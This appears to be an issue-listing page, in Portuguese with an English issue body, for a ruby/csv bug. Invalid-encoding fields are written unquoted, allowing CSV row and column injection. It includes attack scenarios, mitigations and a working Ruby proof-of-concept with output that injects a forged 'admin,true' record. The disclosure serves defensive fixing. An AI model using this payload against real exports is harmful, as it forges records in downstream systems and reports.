CSV writer emits invalid-encoding fields unquoted, allowing row and column injection

Aberta Para iniciantes
#395 0 comentários 0 reações 0 responsáveis Ver no GitHub

Ninguém assumiu esta issue ainda.

Avaliação

Dificuldade
2/5
Tempo estimado
1-3 horas
Facilidade para iniciantes
70/100
Tipo de issue
Bug
Clareza
Claramente especificada
Status de atividade
Ativa
Stack de tecnologia
ruby
Domínio
data

Direção de pesquisa

Comece em lib/csv/writer.rb:200, onde o writer decide se um campo precisa ser colocado entre aspas, e acompanhe como codificações inválidas afetam essa decisão. Confira os testes existentes do writer para campos que contêm quebras de linha, vírgulas e aspas. O trabalho estará concluído quando campos com codificações inválidas que contenham esses caracteres forem colocados entre aspas ou rejeitados, para que não possam criar registros ou colunas adicionais.

Escrita pelo modelo de indexação a partir do texto da issue.

Descrição

About

Title: CSV writer emits invalid-encoding fields unquoted, allowing row and column injection
Repository: ruby/csv
Location: lib/csv/writer.rb:200
Severity: Medium
Impacted versions: 3.1.6, 3.1.9, 3.2.0, 3.2.3, 3.2.4, 3.2.9, 3.3.0, 3.3.7, 3.3.8

Summary

When the writer decides whether a field needs quoting, it first checks
field.valid_encoding?. If the field contains an invalid byte for its encoding, that
check is false and the writer emits the field raw, with no quotes. The guard was added to
avoid an exception from the regular expression used for the check, but it also disables
the escaping that normally keeps a field containing a newline, a comma or a quote
character from becoming multiple records or columns.

A value such as "x\xFF\nadmin,true" tagged as UTF-8 (or Shift_JIS / EUC-JP with the same
invalid byte) is written as two lines. The exporter believes it wrote one field, but the
file now contains an extra record. The same text without the invalid byte, or a binary
(ASCII-8BIT) string, is correctly wrapped in quotes. The behavior exists in releases 3.1.6
through 3.3.8; before 3.1.6 the same input raised an exception instead.

Impact

Any application that builds CSV from untrusted text (display names, comments, uploaded
file contents, request parameters) can be made to emit rows or columns it never wrote.
When the generated file is re-imported, opened in a spreadsheet or loaded into a database
that tolerates the stray byte, the injected record becomes real data: forged rows in
exports and reports, extra columns, and broken import/export round-trips. The writer's
quoting is the mechanism consumers rely on to keep one field from becoming several
records, so bypassing it defeats the normal protection against newline- and comma-based
field injection.

The main limitation is that a strict consumer which validates encoding will reject the
output (Ruby's own CSV.parse on the default UTF-8 path raises InvalidEncodingError).
The injection is realised by byte-oriented consumers, legacy-codepage importers and
spreadsheets that do not reject the invalid byte. The field must also come from a
multibyte encoding with an invalid sequence: ASCII-8BIT and ISO-8859-1 strings are always
valid and are quoted normally. Using force_quotes: true also quotes the field and avoids
the bypass.

Mitigations

Sanitise/validate field encodings before handing them to the writer (e.g. field.scrub,
reject valid_encoding? == false, or transcode to UTF-8 and drop invalid bytes), and
prefer binary output (String#b) for untrusted data. A fix in the library is to quote (or
raise on) invalid-encoding fields instead of emitting them raw -- build the quoting
decision without the regexp (String#include? checks) so an invalid byte cannot disable
escaping.

Examples
example 1

An internal reporting tool exports user-supplied display names with CSV.generate. An
attacker sets a name to x\xFF\nadmin,true (a UTF-8 string containing one invalid byte).
The exported file contains a second row, admin,true; a downstream billing importer that
reads bytes adds a forged administrator record to its input.

example 2

A support portal exports survey responses and a partner system ingests the file with a
byte-oriented CSV loader. A response containing x\xFF,approved produces an extra column,
so the partner's fixed-column import treats attacker-controlled text as a status field.

example 3

A log-export job writes attacker-controlled comment text with CSV.generate_line. A
comment containing an invalid byte and a newline is emitted unquoted; when an analyst
opens the file in a spreadsheet using a legacy codepage, the newline starts a new row, and
the analyst sees a record that was never in the source data.

Proof of concept
#!/usr/bin/env ruby
# frozen_string_literal: true
#
# PoC for bug 01a21ef8-b686-7ad7-8bf1-2767b3798643
#
#   CSV::Writer#quote skips quoting altogether when field.valid_encoding? is
#   false (a guard added in a4b528c to avoid a Regexp::ArgumentError).  A field
#   that carries an ASCII-compatible multibyte encoding (UTF-8, Shift_JIS,
#   EUC-JP) and one invalid byte is therefore written raw -- even though it
#   contains CR/LF, the column separator or the quote character.  The exported
#   file then contains a record the exporter never wrote.
#
#   Any consumer that tolerates the byte (CSV.parse with encoding:
#   "ASCII-8BIT", a database loader, a spreadsheet, another language's CSV
#   reader) sees the attacker's extra row/columns.
#
# Usage:
#   ruby csv_writer_quoting_bypass.rb
#
$LOAD_PATH.unshift("/src/lib") if File.exist?("/src/lib/csv.rb")
require "csv"

def export(*fields)
  CSV.generate_line(fields)
end

def consumer_view(line)
  CSV.parse(line.b, encoding: "ASCII-8BIT")
end

ADMIN_ROW = "admin,true"

fixtures = {
  "UTF-8 (invalid byte)"    => ["x\xFF\n#{ADMIN_ROW}".dup.force_encoding("UTF-8")],
  "UTF-8 (valid control)"   => ["x\n#{ADMIN_ROW}".dup.force_encoding("UTF-8")],
  "Shift_JIS (invalid byte)" => ["x\xFF\n#{ADMIN_ROW}".dup.force_encoding("Shift_JIS")],
  "EUC-JP (invalid byte)"   => ["x\xFF\n#{ADMIN_ROW}".dup.force_encoding("EUC-JP")],
  "ASCII-8BIT (any bytes)"  => ["x\xFF\n#{ADMIN_ROW}".dup.force_encoding("ASCII-8BIT")],
}

# The exporter writes fields it believes it has quoted; the CSV is then read
# back by the same process to prove what a consumer gets.
records = [
  ["id", "name", "role"],
  ["1", fixtures["UTF-8 (invalid byte)"][0], "user"],
]
line = records.map { |record| export(*record) }.join
puts "csv #{CSV::VERSION} / ruby #{RUBY_VERSION} on #{RUBY_PLATFORM}"
puts "exported bytes : #{line.inspect}"
puts "exported rows  : #{records.size} (one header, one user)"
puts "consumer sees  : #{consumer_view(line).inspect}"
puts

puts "per-encoding behaviour (does the writer quote a field containing a newline?):"
injected = false
fixtures.each do |name, fields|
  field = fields.first
  out = export("user", field, "role")
  rows = consumer_view(out)
  quoted = out.include?("\"")
  row_injected = rows.size == 2
  injected ||= row_injected && name != "UTF-8 (valid control)"
  printf("  %-26s valid_encoding?=%-5s quoted=%-5s consumer rows=%d%s\n",
         name, field.valid_encoding?, quoted, rows.size,
         row_injected ? "  <-- extra record: #{rows[1].inspect}" : "")
end

still_unquoted = export(
  "user", fixtures["UTF-8 (invalid byte)"][0], "role"
).include?("\n")
reparsed = consumer_view(export("user", fixtures["UTF-8 (invalid byte)"][0], "role"))

puts
if injected && still_unquoted && reparsed.size == 2
  puts "RESULT: quoting bypassed.  A field that the writer would normally quote"
  puts "        (\"x\\ny\" -> \"\\\"x\\ny\\\"\") is emitted raw as soon as it also carries one"
  puts "        invalid UTF-8 byte, so the exported file contains the extra record"
  puts "        #{reparsed[1].inspect} and the extra columns it carries."
  exit 0
end

puts "RESULT: no quoting bypass observed -- bug not reproduced"
exit 1
stdout
$ ruby csv_writer_quoting_bypass.rb
csv 3.3.8 / ruby 3.4.9 on amd64-freebsd16
exported bytes : "id,name,role\n1,x\xFF\nadmin,true,user\n"
exported rows  : 2 (one header, one user)
consumer sees  : [["id", "name", "role"], ["1", "x\xFF"], ["admin", "true", "user"]]

per-encoding behaviour (does the writer quote a field containing a newline?):
  UTF-8 (invalid byte)       valid_encoding?=false quoted=false consumer rows=2  <-- extra record: ["admin", "true", "role"]
  UTF-8 (valid control)      valid_encoding?=true  quoted=true  consumer rows=1
  Shift_JIS (invalid byte)   valid_encoding?=false quoted=false consumer rows=2  <-- extra record: ["admin", "true", "role"]
  EUC-JP (invalid byte)      valid_encoding?=false quoted=false consumer rows=2  <-- extra record: ["admin", "true", "role"]
  ASCII-8BIT (any bytes)     valid_encoding?=true  quoted=true  consumer rows=1

RESULT: quoting bypassed.  A field that the writer would normally quote
        ("x\ny" -> "\"x\ny\"") is emitted raw as soon as it also carries one
        invalid UTF-8 byte, so the exported file contains the extra record
        ["admin", "true", "role"] and the extra columns it carries.
Linguagem predominante
Ruby
Estrelas
221
Forks
142
Merge médio
1d 40min
PRs com merge (30d)
2

Preparar o ambiente

Este projeto não oferece contêiner de desenvolvimento, Dockerfile nem guia de contribuição, então a configuração fica por sua conta: comece pelo README e veja nosso guia da primeira contribuição para os passos gerais.

Primeiros passos

  1. Leia a issue inteira e depois o guia de contribuição do projeto.
  2. Comente na issue dizendo que vai assumir — evita que duas pessoas façam o mesmo trabalho.
  3. Faça um fork do repositório e trabalhe em uma branch.
  4. Abra um pull request que referencie o número da issue.

Mais de ruby/csv

Todas as issues de ruby/csv

Issues semelhantes

Mais issues de Ruby

Receba novas issues na sua caixa de entrada

Um resumo curto de issues do GitHub para quem está começando.